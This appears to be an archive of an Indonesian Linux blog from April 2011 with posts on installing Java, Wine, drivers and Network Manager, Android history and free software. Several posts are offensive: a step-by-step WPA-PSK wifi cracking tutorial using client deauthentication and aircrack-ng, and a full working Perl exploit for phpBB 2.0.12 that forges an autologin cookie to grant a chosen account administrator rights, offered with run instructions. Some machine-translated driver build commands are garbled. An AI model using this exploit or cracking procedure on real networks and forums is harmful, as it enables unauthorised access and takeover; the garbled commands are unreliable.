Kamis, 21 April 2011

install sun java 6 di ubuntu

Secara default Ubuntu 10.10, bila memilih untuk download paket-paket pihak ketiga saat pertama kali install Ubuntu 10.10, maka aplikasi java yang di install adalah OpenJDK. OpenJDK merupakan versi free dan open source dari java. Berikut ini Waroeng Ubuntu menyajikan cara menginstall Sun Java JRE JDK. Aplikasi seperti SOLR, Tomcat 6 dan Glassfish membutuhkan aplikasi java secara "full". Karena itu sebaiknya kita ganti OpenJDK dengan Sun Java JRE JDK.

Langkah Pertama: Update Ubuntu Repository

sudo add-apt-repository "deb http://archive.canonical.com/ maverick partner"
sudo apt-get update
sudo apt-get remove openjdk-6-jre-headless
sudo apt-get install sun-java6-jdk sun-java6-jre
sudo apt-get autoremove

Langkah Kedua: Melihat Versi Java Yang Terinstall

sudo update-alternatives --config java

Setelah mengetahui versi java yang terinstall, pilih versi mana yang hendak digunakan.

Minggu, 10 April 2011

wine

Installing Wine

Ubuntu versions of Wine (Recommended)

  • open the software center
  • Type wine and install 'wine'

Newer versions of Wine (Not Recommended)

If you are using 9.10 (Karmic) or 10.04 (Lucid), the Ubuntu Wine PPA provides the newest development versions of Wine. Add the following to Software Sources:
  • ppa:ubuntu-wine/ppa
Note, however, that these are development packages (ie beta software), and may suffer from regressions and other problems not present in the stable version of Wine included with Ubuntu 10.04. You should avoid using them unless the current stable version of Wine does not support or is incompatible with the application you wish to use.
If you are using an older version of Wine and want support from WineHQ, you will need to upgrade to the latest development version first. If you do this, however, please file associated Wine bugs at winehq's Bugzilla Page rather than in Launchpad.

Initial Setup

Before using Wine, it is necessary to create the fake C: drive where your Windows applications will be installed. To do this, enter the following command into the terminal: You may find the terminal by going to Applications -> Accessories -> Terminal
winecfg
You also have the option of configuring Wine via the Configure Wine option in the Applications-> Wine menu.
This will create a hidden folder (.wine) in your home directory containing the fake C: drive as well as registry files similar to those used in Windows. Once this directory is created, the Wine Configuration Window will appear. This window will allow you to customize a variety of settings for Wine, including which Windows Version that is emulated, drive mappings, DLL overrides, as well as application specific settings. Click the Ok button to close the window.

Installing Windows Applications With Wine

To install Windows applications using Wine, follow these instructions:
  1. Download the Windows application from any source (e.g. download.com). Download the .EXE (executable).
  2. Place it in a convenient directory (e.g. the desktop, or home folder).
  3. Open the terminal, and cd into the directory where the .EXE is located.
  4. Type wine the-name-of-the-application.extension (e.g. wine realplayer.exe).
This will start the .EXE using Wine. If it is an installer, it should then run as it would in Windows. If the application asks for a directory to install the application to, select put it under C:\Program Files.

To start/run Windows programs using Wine

After installing an application using the directions above, those applications can be started and used by entering wine programname.exe (e.g. wine realplayer.exe). When done, close the application as one would normally. You must run the installed executable, which will by default be in the virtual Windows drive created by Wine, at ~/.wine/drive_c. Generally programs will install themselves somewhere under Program Files inside the virtual Windows drive, following Windows conventions.
You can also use the Wine file browser, by running winefile in a terminal. Clicking the C:\ button in the toolbar will open a window where you can browse the virtual Windows drive created in .wine. Doubleclicking an executable in the Wine file browser will run it in Wine.
Instead of having to always enter the terminal or use the Wine file browser, you may also create a desktop icon, and start a Wine application using that icon. To do this, right click on the desktop and select "Create a launcher." If you wish, select an icon from the list of available icons (or browse to an icon you would like to use), fill out other information that is requested (Name, generic name, etc.). For the command, type in wine the-location-of-the-program.exe (e.g. wine /home/john/.wine/realplayer.exe). The most important part of creating a launcher is the command, the generic name is not as important. Just make sure you de-select "Run in terminal." This completes the process.
In some cases the application requires to be running from a certain location. In this case create launcher with command
sh -c cd /home/USER/.wine/drive_c/Program Files/Appdir/; wine /home/USER/.wine/drive_c/Program Files/Appdir/game.exe
Of course you will need to replace USER and Appdir with the proper data.
If you desire to have an icon on the panel, create a launcher on the panel of choice. Do this by right-clicking the panel, selecting "Add to Panel," and selecting "Custom Application Launcher." This will ask you for the same information as before.
Alternatively, to make life easier, you can set it so wine will automatically open .exe files files for you - instead of using the Wine File to locate the file each time. To do so, right click on the .exe file, select Properties, and then select the Open With tab. Click the 'Add' button, and then click on 'Use a custom command'. In the line that appears, type in wine, then click Add, and Close. Now all .exe files will be automatically opened by Wine, so you can use Nautilus to browse and open them instead of the Wine File.

Uninstalling Wine Applications

Open up a terminal window and type the command below.
wine uninstaller
What this will do is open up a program similar to the Windows add/remove programs control panel, allowing you to uninstall applications from a Wine installation. Running uninstall programs directly via Wine should also work normally. Alternatively, you could also simply delete the folder of the application. However, as when done in Windows, this method will be unclean and will not remove the program's configuration from the Wine registry like using an uninstaller will.

Configuring Wine

On the command line or in Run Application, type
winecfg

Adding CD and DVD drives to Wine

Go to the drives tab in winecfg. Hit the Autodetect button.
If you find that this does not work correctly for you, then follow these instructions:
  1. Run
winecfg
  1. Navigate to the drives tab
  2. Click on Add...
  3. In the path bar, type
/media/cdrom
  1. Click Show Advanced button below the Browse... button and set the Type to
CD-ROM
  1. Click OK
If you have more than one CD/DVD device you will need to identify each one differently. Use /media/cdrom0 for the first CD/DVD device, /media/cdrom1 for the second one, and so on. If in doubt, type the following command in your terminal.
ls -la ~/.wine/dosdevices/
What this command will do is check your CD/DVD device details after Wine is installed.
It is good procedure before setting up the menu entry to launch the new Windows program from the command line to make sure the program runs properly. To do this type this command in the terminal.
wine "C:\PATHTOPROGRAM\Program.exe" 
For example the command would be wine "C:\Program Files\World of Warcraft\WoW.exe" Once you are satisfied that you have the correct details, use the normal menu editing process to add a new entry. When you get to the Command field of the entry editor be sure to copy and paste the line you used to launch the program from the terminal. Finish and save the new entry. Test to make sure the new Windows program loads via the menu.

Changing application specific settings

  1. Type this command into your terminal.
winecfg
  1. Click on Add Application...
  2. Navigate to where the .exe is and choose that program
  3. The dropdown at the bottom allows you to choose which version of Windows Wine should emulate. Also, any changes to the Libraries and Graphics tabs will only affect the chosen application in the Applications tab.

Using Windows Themes/Skins In Wine

Color Scheme

You can change the wine color scheme to closely match the default Ubuntu colors with this Terminal command.
gedit ~/.wine/user.reg
You may also want to create a backup copy in your Home folder with this command via terminal.
cp ~/.wine/user.reg ~/
Replace the [Control Panel\\Colors] section with
[Control Panel\\Colors] 1176981676
"ActiveBorder"="239 235 231"
"ActiveTitle"="203 133 61"
"AppWorkSpace"="198 198 191"
"Background"="93 77 52"
"ButtonAlternativeFace"="200 0 0"
"ButtonDkShadow"="85 85 82"
"ButtonFace"="239 235 231"
"ButtonHilight"="255 255 255"
"ButtonLight"="255 255 255"
"ButtonShadow"="198 198 191"
"ButtonText"="0 0 0"
"GradientActiveTitle"="239 235 231"
"GradientInactiveTitle"="239 235 231"
"GrayText"="198 198 191"
"Hilight"="246 200 129"
"HilightText"="0 0 0"
"InactiveBorder"="239 235 231"
"InactiveTitle"="239 235 231"
"InactiveTitleText"="255 255 255"
"InfoText"="0 0 0"
"InfoWindow"="255 255 166"
"Menu"="239 235 231"
"MenuBar"="239 235 231"
"MenuHilight"="246 200 129"
"MenuText"="0 0 0"
"Scrollbar"="239 235 231"
"TitleText"="255 255 255"
"Window"="255 255 255"
"WindowFrame"="0 0 0"
"WindowText"="0 0 0"

Using Theme/Skins

Wine has basic handling for Windows theme/skin files in the "msstyles" format. There is a large number of these themes on Deviant Art. To use these you must make a folder in Wine's virtual Windows drive, then tell Wine to use the theme.
Firstly go into Wine's virtual drive, which is usually ".wine/drive_c" in your Home folder (this is hidden, you may need to select View->Show Hidden Files in the file manager). Inside this folder go into the "windows" folder then make a new folder in there called "Resources". Enter this new folder and make a new folder called "Themes". Inside here you should make a folder for each theme you want, and put the files ending in ".msstyles" directly into them. For example, the full path to a theme file called sample.msstyles might be "/home/username/.wine/drive_c/windows/Resources/Themes/Sample/sample.msstyles".
Next you need to tell Wine to use your theme, so once again run this command in the terminal.
winecfg
In the configuration window select the tab Desktop Integration and un-check out the Theme: box, which should now have your theme in it's menu. After selecting the theme click Apply at the bottom to see how it looks (they don't always display properly), then if you are happy click ok and you're done!

Fullscreen issues with overlapping Panel

Sometimes the Panel overlaps your fullscreen application you're running in wine. If you are running Visual Effects, the first solution you should try is to turn those off: Go to System -> Preferences -> Appearance, and click the Visual Effects tab. Select None, and your screen will flash. Try your full-screen application again. You may re-enable Visual Effects afterwards - just don't forget to turn them back off when you want to run that application again!
If that does not work, then you will have to turn off the panels prior to running the application and restarting it afterwards, until a better workaround can be found. In Ubuntu the commands are gnome-session-remove gnome-panel and gnome-panel & respectively. In Xubuntu I understand they are killall xfce4-panel and xfce4-panel.

Instructions for using wine over remote X11 sessions

If you're (trying) to use wine over a forwarded X11 session (ie Ubuntu is on one computer; you're connected to it by ssh or another connection and you already have X11 forwarding set up to display regular Ubuntu applications on your remote computer) and the windows opened by wine are lacking fonts etc, the answer is here

Instructions for specific Windows programs

Some Windows programs have been tested on Ubuntu. They are listed below:
Also, see Wine's Application Database at http://appdb.winehq.org/ or http://wine-review.blogspot.com/

Creating file associations

If you want certain files to open in a windows application by clicking on them, the best way is to create a script. For example I want Adobe Flash project files (*.fla) to open in Adobe's Flash editor if I double click it.
You can for example create a file using this terminal command.
gedit ~/.wine/Flash\ 8
Now paste the following example script in it, save and close gedit.
Example script:
 #!/bin/sh

QUICKPARLOCATION="c:\\Program Files\\Macromedia\\Flash 8\\Flash.exe"
PARAM=`winepath -w "$*"`
wine "$QUICKPARLOCATION" "$PARAM"
exit 0
Make sure the file is executable with this command.
chmod +x ~/.wine/Flash\ 8
After you completed this go to an *.fla file right click it, properties, go to the “open with” pane, click add, add this line into your terminal and select the radio button.
'/home/<yourusername>/.wine/Flash 8'
Now if everything went ok, you can doubleclick the file and it will be openend in Flash 8.

Troubleshooting

Error: Cannot change screen BPP from 32 to XX

In some cases (mostly games) the application does not start and you get error: Cannot change screen BPP from 32 to 16 (or some other number).
In such case editing xorg.conf and CTRL-ALT-Backspace helps as is described on http://ubuntuforums.org/showthread.php?t=649283

'dhtmled.ocx' is missing or invalid

It seems that in Ubuntu Karmic Wine(v1.0.1) registry isn't configured correctly to use ActiveX component dhtmled.ocx. On some application this can cause error like this: "Component 'dhtmled.ocx' or one of it's dependencies not correctly registered: a file is missing or invalid". So we must tell Wine where to find this file.
1. Download registry file:
2. Open regedit:
  • wine regedit.exe
3. Import the downloaded registry settings
  • file->import registry file->open ~/ieslinux-dhtmledit.reg

Screen flickers to black when starting an application

This is sometimes caused by a problem with the video driver not handling XRandR well. To see if this is actually a problem with XRandR, in a console, run:
xrandr
If your screen blanks while running that command, then this might be the issue. To work around this issue, Wine can be configured to not use XRandR. To do so:
  1. Start Wine's Registry Editor.
  2. Navigate to "HKEY_CURRENT_USER\Software\Wine\X11 Driver". You may need to create X11 Driver.
  3. Create a new key called "UseXRandR" and set it to "N".

Rabu, 06 April 2011

Install Driver TvTuner Gadmei UTV 330+ di Ubuntu Intrepid

Ini adalah pertama saya bagaimana, jadi gunakan dengan hati-hati, namun proses ini bekerja untuk saya jadi saya pikir saya mau berbagi. Tampaknya ada banyak solusi untuk masalah ini dalam bahasa lain (aku punya yang satu ini dari sebuah situs Italia), tapi aku belum menemukan satu dalam bahasa Inggris.
Kredit kepada gborzi untuk menunjuk aku menuju solusi

Benar, lurus ke dalamnya kemudian! Anda akan membutuhkan beberapa paket untuk memulai dengan: Kode: 
sudo apt-get install linux-source mercurial libxine1-ffmpeg dvb-utils kaffeine
 
Linux-source adalah sebuah file besar, jadi bersabarlah. Setelah ini, kita perlu mengekstrak sumber. Kode:  
cd /usr/src
sudo tar -xvf linux-source*.tar.bz2
Sebuah beberapa file perlu disalin ke header Linux. Kode: 
sudo cp -v linux-source-2.6.27/drivers/media/dvb/dvb-core/*.h linux-headers-$(uname -r)/drivers/media/dvb/dvb-core/

sudo cp -v linux-source-2.6.27/drivers/media/dvb/frontends/lgdt330x.h linux-headers-$(uname -r)/drivers/media/dvb/frontends/

sudo cp -v linux-source-2.6.27/drivers/media/video/msp3400-driver.h linux-headers-$(uname -r)/drivers/media/dvb/frontends/

Kami kemudian kembali ke direktori rumah dan men-download driver yang diperlukan dengan Mercurial. Kode:   
cd
hg clone http://mcentral.de/hg/~mrec/em28xx-new
 
Akhirnya, pergi ke direktori di mana driver yang didownload dan membangun mereka. Kode: 
cd em28xx-baru sudo / build.sh. membangun & & sudo / build.sh. menginstal   
Semua yang tersisa adalah untuk reboot dan Kaffeine terbuka untuk mulai menonton!
Jika tidak segera bekerja, coba baris berikut dan Kaffeine buka lagi: Kode:
sudo modprobe em28xx
Biar saya tahu jika bekerja untuk Anda
 

Install latest Network Manager in Lucid from PPA

Open up your terminal, and then follow the steps bellow..
In step #1, we need to add the ppa repository of network manager (daily update). Hmm..
sudo add-apt-repository ppa:network-manager/trunk
and then, update the repository indexes..
sudo apt-get update
Next, step #2, install the latest network manager (0.8.1). It will replace the current one by default, so no need to remove it manually 
sudo apt-get install network-manager network-manager-gnome

android origin

Android
adalah salah satu sistem operasi untuk telepon seluler yang berbasis Linux.Pada awalnya dikembangkan oleh

Android Inc. (sebuah perusahaan telepon seluler yang berada di California, AS), pada bulan Juli 2000.
Rumor yang berkembang adalah bahwa Google akan memasuki pasar telepon seluler, dikarenakan kerjama yang
dilakukan antara Google dengan Android iInc. Sebuah tim yang memiliki tugas untuk mengembangkan program perangkat seluler yang didukung oleh kernel Linux akhirnya dibentuk, hal ini menjadikan rumor yang beredar semakin kuat bahwa memang Google sedang bersiap menghadapi persaingan dalam pasar telepon seluler.
Untuk mempermudah usaha Google untuk mengembangkan produk Android,maka Google membeli Android Inc dan serta dibentuklah "Open Handset Alliance" yang tergabung atas 34 perusahaan software, hardware dan telekomunikasi seperti : Google, HTC, Intel, Motorola, Qualcomm, T-Mobile, Nvidia dan lainnya. Sekitar September 2007, Google mengajukan hak paten aplikasi telepon seluler (akhirnya Google mengenalkan
Nexus One, salah satu jenis telepon pintar yang menggunakan Android pada sistem operasinya. Telepon seluler ini diproduksi oleh HTC Corporation dan tersedia di pasaran pada 5 Januari 2010). Pada 9 Desember 2008, diumumkan anggota baru yang bergabung dalam program kerja Android ARM Holdings,Atheros Communications, diproduksi
oleh Asustek Computer Inc, Garmin Ltd, Softbank, Sony Ericsson, Toshiba Corp, dan Vodafone Group Plc. Seiring pembentukan Open Handset Alliance, OHA mengumumkan produk perdana mereka, Android, perangkat mobile yang merupakan modifikasi kernel Linux 2.6. Sejak Android dirilis telah dilakukan berbagai pembaruan berupa perbaikan bug dan penambahan fitur baru. Telepon seluler pertama yang memakai
sistem operasi Android adalah HTCDream, yang dirilis pada 22 Oktober 2008. 
Versi Android :
1. Android versi 1.1
Dirilis pada 9 Maret 2009 oleh Google dan dilengkapi dengan pembaruan pada aplikasi, jam alarm, voice search
(pencarian suara), pengiriman pesan dengan Gmail, dan pemberitahuan email.
2. Android versi 1.5 (Cupcake)
Pada pertengahan Mei 2009, Google kembali merilis Android versi terbarunya, yaitu versi 1.5 dengan menggunakan Android dan SDK (Software Development Kit). Terdapat beberapa pembaruan termasuk juga penambahan beberapa fitur yakni kemampuan merekam dan menonton video, mengunggah video ke Youtube
dan gambar ke Picasa langsung dari telepon seluler, dukungan Bluetooth,animasi layar, dan keyboard pada layar
yang dapat disesuaikan dengan sistem.
3. Android versi 1.6 (Donut)
Setelah Android Cupcake, Google merilis juga Android Donut (versi 1.6) pada bulan September 2009 dengan
menampilkan proses pencarian yang lebih baik dibanding sebelumnya, penggunaan baterai indikator dan
kontrol applet VPN. Fitur lainnya adalah galeri yang memungkinkan pengguna untuk memilih foto yang akan dihapus; kemampuan dial kontak; teknologi text to change speech (tidak tersedia pada semua ponsel); pengadaan resolusiVWGA.
4. Android versi 2.0/2.1 (Eclair)
android-eclair
Pada 3 Desember 2009 kembali diluncurkan ponsel Android dengan versi 2.0/2.1 (Eclair), perubahan yang
dilakukan adalah pengoptimalan hardware, peningkatan Google Maps 3.1.2, perubahan UI dengan browser
baru dan dukungan HTML5, daftar kontak yang baru, dukungan flash untuk kamera 3,2 MP, digital Zoom, dan
Bluetooth 2.1. Untuk bergerak cepat dalam persaingan perangkat generasi berikut, Google melakukan investasi dengan mengadakan kompetisi aplikasi mobile terbaik (killer apps - aplikasi unggulan). Kompetisi ini berhadiah $25,000 bagi setiap pengembang aplikasi terpilih. Kompetisi diadakan selama dua tahap yang tiap tahapnya dipilih 50 aplikasi terbaik. Dengan semakin berkembangnya dan semakin bertambahnya jumlah handset Android, semakin banyak pihak ketiga yang berminat untuk menyalurkan aplikasi mereka kepada sistem operasi Android. Aplikasi terkenal yang diubah ke dalam sistem operasi Android adalah Shazam, Backgrounds, dan WeatherBug.
Sistem operasi Android dalam situs Internet juga dianggap penting untuk menciptakan aplikasi Android asli,
contohnya oleh MySpace dan Facebook. Android memiliki berbagai keunggulan software yang memakai basis
kode komputer yang bisa didistribusikan secara terbuka (open source) sehingga pengguna bisa membuat aplikasi baru di dalamnya. Android memiliki aplikasi native Google yang terintegrasi seperti pushmail Gmail, Google Maps, dan Google Calendar. Para penggemar open source kemudian membangun komunitas yang membangun dan berbagi Android berbasis firmware dengan sejumlah penyesuaian dan fitur-fitur tambahan, seperti FLAC lossless audio dan kemampuan untuk menyimpan download aplikasi pada microSD card. Mereka sering memperbaharui paket-paket firmware dan menggabungkan elemen-elemen fungsi Android yang belum resmi diluncurkan dalam suatu carrier-sanction firmware Berikut sejumlah vendor yang mengeluarkan telepon seluler berbasis
Android :
1. HTC
2. Samsung
3. LG
4. Motorola
5. Sony
6. Acer
7. Dell

Sabtu, 02 April 2011

why use linux

Lisensi
Linux, sering juga disebut GNU/Linux, adalah OS yang kompatible dengan
Unix, berisi kernel Linux itu sendiri dan sekumpulan lengkap aplikasi dan
program-program lain, yang kebanyakan di bawah naungan proyek GNU dari
Free Software Foundation. Tampilan grafis atau Graphical User Interface
(GUI) disediakan oleh X Window System beserta kumpulan libraries dan
alat-alatnya.
Semua software ini bisa didapat secara bebas berdasarkan lisensi GNU General
Public License atau lisensi-lisensi lain yang mirip dengan itu. Berdasarkan
lisensi ini, siapa pun bisa mendapatkan program baik dalam bentuk source
code (bisa dibaca manusia) mau pun binary (bisa dibaca mesin), sehingga
program tersebut dapat diubah, diadaptasi, mau pun dikembangkan lebih
lanjut oleh siapa saja.
Definisi dari free software menurut Free Software Foundation
(http://www.fsf.org) adalah, sebuah bentuk kebebasan, mengacu ke pengguna
untuk memakai, mengkopi, mendistribusikan, mempelajari, mengubah
maupun meningkatkan software tersebut. Secara spesifik ada 4 arti kebebasan:
1.Bebas menjalankan program.
2.Bebas mempelajari program dan mengadaptasi sesuai kebutuhan.
3.Bebas mendistribusikan ulang.
4.Bebas meningkatkan program dan mempublikasikannya.
Dalam proyek GNU digunakan dua lisensi untuk melindungi kebebasan secara
legal:
1. Copyleft: siapapun yang mendistribusikan ulang program dengan atau
tanpa perubahan harus memberikan kebebasan juga untuk didistribusikan
lagi atau diubah. Copyleft menjamin setiap pengguna mempunyai
kebebasan.
2. Non-copyleft: siapapun yang mendistribusikan atau mengubah harus
mendapat ijin dari pembuat program.
Kemudian karena banyak sekali program-program maupun komponen
software (biasanya tergabung dalam "paket") yang membentuk sebuah OS
Linux yang lengkap, dan kesemuanya itu dikerjakan oleh banyak orang dan
organisasi dalam jadwal yang berbeda-beda, maka beberapa perusahaan dan
organisasi mengumpulkan paket-paket tersebut menjadi satu distribusi
(distribusi). Tapi tidak itu saja, mereka juga melakukan tes-tes terhadap
software di dalamnya, mengembangkan program-program instalasi atau yang
memudahkan instalasi, sebagian ada yang memberikan technical support, dan
sebagainya.
Distribusi komersial tersebut adalah misalnya Red Hat, Caldera, SuSE, dan ada
juga distribusi yang non-komersial seperti Debian GNU/Linux. Baik distribusi
komersial mau pun non-komersial tersedia tanpa dipungut biaya di internet,
dan juga di media seperti CD-ROM (anda bayar ongkos media plus ongkos
kirim tentunya). Perbedaan mendasar antara komersial dan non-komersial
adalah bahwa produk komersial didukung oleh perusahaan yang menyediakan
technical support, dan mungkin juga menyediakan beberapa software
komersial lain yang tidak bisa didistribusikan secara gratis. Hal ini tentunya
penting di lingkungan bisnis tertentu.

games in linux

Screenshot game iseng buatan pengembang Ubuntu

Anda sedang suntuk atau stress? Silakan coba game Space Impact ala Ubuntu. Anda tidak akan menemukan para karakter dari game Space Impact yang asli di sini. Karakter jagoan pada game ini (anda) adalah sang ikan, dan musuh anda adalah para sapi kambing yang akan menginvasi bumi. ^^;

Cara menjalankan game ini

Cara menjalankan game ini sangat mudah. Tekan ALT + F2, lalu masukkan “gegls from outer space” (tanpa tanda kutip) pada kolom isian yang muncul, lalu klik Run. Tekan tombol kiri/kanan untuk mengontrol sang ikan (hindari tembakan dari sapi kambing), tekan “spasi” untuk menembak, tekan “p” untuk menghentikan permainan, dan tekan “q” untuk keluar dari permainan. Selamat bermain! ^^

hack lan/ wife

langsung saja dari saya ini merupakan sebuah teritorial cracking WPA-PSK pada sebuah jaringan wi-fi…
1. buka terminal anda masuk jadi root lalu ketikkan kode berikut :
root@nusacoder:~$ ifconfig -a
*
2. ifconfig wlan0 up (tuk mengaktifkan interface wlan0)
*
3. root@nusacoder~:# ifconfig wlan0
*
4. root@nusacoder~:# airmon-ng start wlan0
*
5. ~:# airodump-ng mon0 digunakan untuk memonitoring jaringan di sekitarnya
*
6. ~:# airodump-ng -w test –channel 11 –bssid 00:1E:E3:96:9A:DC mon0
(tuk memonitoring khusus jaringan yang memiliki bssid 00:1E:E3:96:9A:DC pada channel 11 dan hasil dari monitoring di tulis pada file yang bernama ‘test’)
*
7. ~:# aireplay-ng -0 1 -a 00:1E:E3:96:9A:DC -c 78:44:76:7F:B6:C5 mon0
(aireplay-ng digunakan untuk mendisconnect salah satu client yaitu 78:44:76:7F:B6:C5 untuk mendapatkan paket handshake yang dibutuhkan untuk proses cracking)
*
8. setelah mendapatkan paket handshake, selanjutnya adalah proses cracking dengan menggunakan aircrack dan file password dengan existensi .lst atau .txt dengan perintah
:~# aircrack-ng test-01.cap -w /home/despic/crash.txt
crash.txt adalah file password yang saya buat sendiri dan terletak pada /home/despic/crash.txt
dan hasilnya :
*
sebenarnya process crack password tersebut kuncinya ada pada kita sendiri apabila di dalam list password crash.txt itu terdapat coklathangat yang sudah kita buat akan berhasil pada saat mengcrack password tersebut dan berbanding terbalik dengan password crash.txt jika tidak terdapat password coklathangat kemungkinan besar tidak akan berhasil

exploit 1

Para master dunia spl0it berkata “Metasploit merupakan sofware security yang sering digunakan untuk menguji coba ketahanan suatu sistem dengan cara mengeksploitasi kelemahan software suatu sistem. Metasploit biasanya digunakan untuk menyerang application layer dengan 0 day attack yang merupakan metode penyerangan pada software yang belum di patch. Metasploit biasa dikaitkan dengan istilah remote exploitation, maksudnya penyerang berada pada jarak jangkauan yang jauh dapat mengendalikan komputer korban. Metasploit menyerang dengan cara mengirimkan exploit pada komputer korban. Exploit ini berisi payload yang sudah ditentukan oleh penyerang. Exploit adalah software yang berfungsi untuk memanfaatkan kelemahan pada software korban(misal web browser), setelah berhasil mengeksploitasinya exploit tersebut memasukkan payload ke dalam memori korban. Payload merupakan sebuah executable milik penyerang yang akan di run pada komputer korban dengan tujuan dapat mengendalikan komputer tersebut secara remote atau memasang backdoor, trojan, virus, worm, dan lain-lain. Terlepas dari penggunaan metasploit yang disalah gunakan untuk kejahatan, software ini juga membantu System Security untuk memperkuat pertahanan jaringannya dari ulah penyerang dari luar.”
Singkatnya sih, Metasploit biasanya digunakan untuk menguji keamanan suatu sistem, yaaa dipake nge-hack juga (kalo bisa) yaa bisa, heheehee

Chapter 1. Dependensi

Karena metasploit dibikin pake ruby, maka kita kudu nginstall ruby dulu. Boleh lewat synaptic, boleh lewat terminal dengan jurus apt-get install
- ruby
- libruby
- libruby-extras
(kalo blom puas juga, install aja ruby-full) :p karena ane cupu, jadi nginstallnya via synaptic
tunggu beberapa saat dan kelar lah

Chapter 2. Download Installer

sebelum nginstall, kita perlu download dulu installernya (gratisan version) di sini. Beres donlot, masuk terminal (masuk ke direktori tempat metasploit di donlot tadi dan ketik
1$ sudo chmod +x framework-3.6.0-linux-full.run
2$ sudo ./framework-3.6.0-linux-full.run
lalu muncullah window installer (kayak nginstal di window cuy,, hehe) masukkan path dimana kita mau nginstall, kalo ane sih diisi /opt/metasploit3 tunggu beberapa saat dan muncullah

Berhasil gan
(pertanyaan, katanya di ubuntu kok windownya kayak win 7? heheheee window decorationnya ane ganti, abis oxygen keliatan cupu, makanya pake win 7 – gak penting juga sih dibahasnya)

Chapter 3. Create dynamic link

kadang terjadi error ‘cannot create dynamic link’
kita mensolusikan sendiri sajah :D (apa pula itu mensolusikan)
1$ sudo ln -s /opt/metasploit3/app/armitage /usr/bin/armitage
2$ sudo ln -sf /opt/metasploit3/msf3/msf* /usr/bin/
itu artinya … apa ya? wkwkkwk,, biar kita bisa manggil langsung msfconsole, msfcli, msfupdate, dll langsung dari directory manapun :D

Chapter 4. Try and Update

oke, harusnya sih metasploit udah terinstal dengan baik bro/sis,, masuk terminal dan ketik
1$ msfconsole
lalu akan muncul

Hohooo, berhasil,, ini buat apaan ya?
after that, if you want to update the metasploit, just type (ciee english euy)
1$ sudo msfupdate

Lagi ngapdet
Selanjutnya terserah anda mau ngapain, “kok gak ada tutorial cara pake nya?” — hehee blom, kan judulnya nginstal doang,, ntar menyusul,,

exploit

Misal Exploit untuk hijack phpBB :
#!/usr/bin/perl -w

# phpBB <=2.0.12 session autologin exploit
# This script uses the vulerability in autologinid variable
# More: http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=267563
#
# Just gives an user on vulnerable forum administrator rights.
# You should register the user before using this ;-)

# by Kutas, kutas@mail15.com
#P.S. I dont know who had made an original exploit, so I cannot place no (c) here...
# but greets goes to Paisterist who made an exploit for Firefox cookies...

if (@ARGV < 3)
{
print q(
+++++++++++++++++++++++++++++++++++++++++++++++++++
Usage: perl nenu.pl [site] [phpbb folder] [username] [proxy (optional)]
i.e. perl nenu.pl www.site.com /forum/ BigAdmin 127.0.0.1:3128
++++++++++++++++++++++++++++++++++++++++++++++++++++
);
exit;
}
use strict;
use LWP::UserAgent;

my $host = $ARGV[0];
my $path = $ARGV[1];
my $user = $ARGV[2];
my $proxy = $ARGV[3];
my $request = "http://";
$request .= $host;
$request .= $path;


use HTTP::Cookies;
my $browser = LWP::UserAgent->new ();
my $cookie_jar = HTTP::Cookies->new( );
$browser->cookie_jar( $cookie_jar );
$cookie_jar->set_cookie( "0", "phpbb2mysql_data", "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A". "%22userid%22%3Bs%3A1%3A%222%22%3B%7D", "/", $host, , , , ,);
if ( defined $proxy) {
$proxy =~ s/(http:\/\/)//eg;
$browser->proxy("http" , "http://$proxy");
}
print "++++++++++++++++++++++++++++++++++++\n";
print "Trying to connect to $host$path"; if ($proxy) {print "using proxy $proxy";}

my $response = $browser->get($request);
die "Error: ", $response->status_line
unless $response->is_success;

if($response->content =~ m/phpbbprivmsg/) {
print "\n Forum is vulnerable!!!\n";
} else {
print "Sorry... Not vulnerable"; exit();}

print "+++++++++++++++++++++++++++++\nTrying to get the user:$user ID...\n";
$response->content =~ /sid=([\w\d]*)/;
my $sid = $1;

$request .= "admin\/admin_ug_auth.php?mode=user&sid=$sid";
$response = $browser->post(
$request,
[
'username' => $user,
'mode' => 'edit',
'mode' => 'user',
'submituser' => 'Look+up+User'
],
);
die "Error: ", $response->status_line
unless $response->is_success;

if ($response->content =~ /name="u" value="([\d]*)"/)
{print " Done... ID=$1\n++++++++++++++++++++++++++++++\n";}
else {print "No user $user found..."; exit(); }
my $uid = $1;
print "Trying to give user:$user admin status...\n";

$response = $browser->post(
$request,
[
'userlevel' => 'admin',
'mode' => 'user',
'adv'=>'',
'u'=> $uid,
'submit'=> 'Submit'
],
);
die "Error: ", $response->status_line
unless $response->is_success;
print " Well done!!! $user should now have an admin status..\n++++++++++++++++++++++++++++";

-----

cara compile :
Linux = yudhax@root explo: ~ # perl versace.pl
Windows = perl versace.pl ( sama juga dgn cttn, perl program udah di install)

Jumat, 01 April 2011

update eror

W: GPG error: http://packages.linuxmint.com isadora Release: The following
signatures couldn't be verified because the public key is not available:
NO_PUBKEY 3EE67F3D0FF405B2
W: GPG error: http://packages.medibuntu.org lucid Release: The following
signatures couldn't be verified because the public key is not available:
NO_PUBKEY 2EBC26B60C5A2783


$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 0FF405B2
$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 0C5A2783
$ sudo apt-get update